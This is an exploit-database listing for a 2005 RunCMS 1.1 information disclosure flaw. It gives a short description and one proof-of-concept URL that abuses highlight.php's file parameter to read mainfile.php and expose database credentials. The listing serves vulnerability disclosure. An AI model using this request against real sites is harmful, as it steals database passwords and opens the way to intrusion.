Sploitus

Exploit for RunCMS 1.1 - Database Configuration Information Disclosure

exploitdb · 2005-03-18

Exploit Code

MARKDOWN10 lines
## https://sploitus.com/exploit?id=EDB-ID:25237
source: https://www.securityfocus.com/bid/12848/info

RunCMS is reportedly affected by an information disclosure vulnerability. This issue is due to a failure in the application to secure sensitive information.

Exploitation of this vulnerability could lead to the disclosure of database configuration details, including the database name, user name and password.

RunCMS was formerly named E-Xoops.

http://www.example.com/[runcms]/class/debug/highlight.php?file=[runcmsinstallationpath]\mainfile.php&line=151#151